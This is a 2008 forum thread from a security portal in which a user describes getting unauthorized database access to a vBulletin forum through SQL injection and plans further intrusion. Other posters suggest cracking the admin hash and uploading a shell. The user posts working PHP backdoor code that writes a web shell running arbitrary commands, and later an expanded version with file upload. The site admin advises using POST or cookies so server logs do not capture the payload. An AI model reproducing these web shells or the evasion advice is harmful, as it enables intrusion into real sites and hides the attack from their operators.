Waraxe IT Security Portal
Login or Register
November 22, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 156
Members: 0
Total: 156
Full disclosure
APPLE-SA-11-19-2024-5 macOS Sequoia 15.1.1
Local Privilege Escalations in needrestart
APPLE-SA-11-19-2024-4 iOS 17.7.2 and iPadOS 17.7.2
APPLE-SA-11-19-2024-3 iOS 18.1.1 and iPadOS 18.1.1
APPLE-SA-11-19-2024-2 visionOS 2.1.1
APPLE-SA-11-19-2024-1 Safari 18.1.1
Reflected XSS - fronsetiav1.1
XXE OOB - fronsetiav1.1
St. Poelten UAS | Path Traversal in Korenix JetPort 5601
St. Poelten UAS | Multiple Stored Cross-Site Scripting in SEH utnserver Pro
Apple web content filter bypass allows unrestricted access to blocked content (macOS/iOS/iPadOS/visionO S/watchOS)
SEC Consult SA-20241112-0 :: Multiple vulnerabilities in Siemens Energy Omnivise T3000 (CVE-2024-38876, CVE-2024-38877, CVE-2024-38878, CVE-2024-38879)
Security issue in the TX Text Control .NET Server for ASP.NET.
SEC Consult SA-20241107-0 :: Multiple Vulnerabilities in HASOMED Elefant and Elefant Software Updater
Unsafe eval() in TestRail CLI
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> vBulletin Board -> Got access to db, but don't know what to do...
Post new topicReply to topic View previous topic :: View next topic
Got access to db, but don't know what to do...
PostPosted: Sat Apr 19, 2008 6:36 pm Reply with quote
bleh
Regular user
Regular user
Joined: Apr 19, 2008
Posts: 19




Hey

I managed to get full access to the forum database through a mod sql injection. Now the problem is, it takes ages to crack the passwords since they're salted. I know I can change my user status to admin, but that would raise a big red flag, so I was wondering if anyone has experience with load_file.
View user's profile Send private message
PostPosted: Sat Apr 19, 2008 7:12 pm Reply with quote
pexli
Valuable expert
Valuable expert
Joined: May 24, 2007
Posts: 665
Location: Bulgaria




Try to decrypt admin hash and log in into admin panel.Then just upload shell.
View user's profile Send private message
PostPosted: Sat Apr 19, 2008 7:17 pm Reply with quote
bleh
Regular user
Regular user
Joined: Apr 19, 2008
Posts: 19




i've got an amd 1500 with 512 ram... how long do you think it will take it? Laughing

I'll make myself admin then upload shell then make me a normal user again.
View user's profile Send private message
PostPosted: Sat Apr 19, 2008 7:45 pm Reply with quote
pexli
Valuable expert
Valuable expert
Joined: May 24, 2007
Posts: 665
Location: Bulgaria




bleh wrote:
i've got an amd 1500 with 512 ram... how long do you think it will take it? Laughing

I'll make myself admin then upload shell then make me a normal user again.


10 seconds or 10 years.No body know.
View user's profile Send private message
PostPosted: Sat Apr 19, 2008 7:51 pm Reply with quote
bleh
Regular user
Regular user
Joined: Apr 19, 2008
Posts: 19




I have been running passwordpro for over 3 hours and nothing. I will just let it run. Meanwhile I'll do my hack in the middle of the night so there will be few people online Very Happy

I've tested this backdoor for the plugin on my local vb, and it works. What do you think of it?

Code:

$f = fopen("mod_cp.php", "w+");
fputs($f, "<? system($"."_GET['c']); ?>");
fclose($f);
chmod("mod_cp.php", 777);
View user's profile Send private message
Re: Got access to db, but don't know what to do...
PostPosted: Sat Apr 19, 2008 7:52 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




bleh wrote:
Hey

I managed to get full access to the forum database through a mod sql injection. Now the problem is, it takes ages to crack the passwords since they're salted. I know I can change my user status to admin, but that would raise a big red flag, so I was wondering if anyone has experience with load_file.


You can use "LOAD_FILE()" only if you have FILE privileges. I'd say, that most of the real world servers will not give FILE privs to casual user. If website is hosted in shared environment (shared hosting, virtual server), then probably you can't do LOAD_FILE. If website is located on dedicated server (for example website of some organisation, school, etc), then you MAY have FILE privileges, IF admin was lazy enough to not have trouble with security Smile
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sat Apr 19, 2008 7:56 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




bleh wrote:
I have been running passwordpro for over 3 hours and nothing. I will just let it run. Meanwhile I'll do my hack in the middle of the night so there will be few people online Very Happy

I've tested this backdoor for the plugin on my local vb, and it works. What do you think of it?

Code:

$f = fopen("mod_cp.php", "w+");
fputs($f, "<? system($"."_GET['c']); ?>");
fclose($f);
chmod("mod_cp.php", 777);


Use $_POST or $_COOKIE, because $_GET means, that webserver will log your payload ...
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sat Apr 19, 2008 8:59 pm Reply with quote
bleh
Regular user
Regular user
Joined: Apr 19, 2008
Posts: 19




waraxe wrote:

Use $_POST or $_COOKIE, because $_GET means, that webserver will log your payload ...

Oh crap, that's not good Very Happy
I've rewritten it. Thanks! Smile

Code:

$f = fopen("userprofile.php", "w+");
fputs($f, "<?
if (@$"."_FILES['f']['tmp_name'])
move_uploaded_file($"."_FILES['f']['tmp_name'], dirname(__FILE__).'\\\'.basename($"."_FILES['f']['name']));
if (@$"."_POST['c'])
system($"."_POST['c']);
?>
<form enctype='multipart/form-data' action='userprofile.php' method='post'>
<input name='c'><br>
<input name='f' type='file'><br>
<input type=submit value=Ok>
</form>");
fclose($f);
chmod("userprofile.php", 777);
View user's profile Send private message
Got access to db, but don't know what to do...
www.waraxe.us Forum Index -> vBulletin Board
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.036 Seconds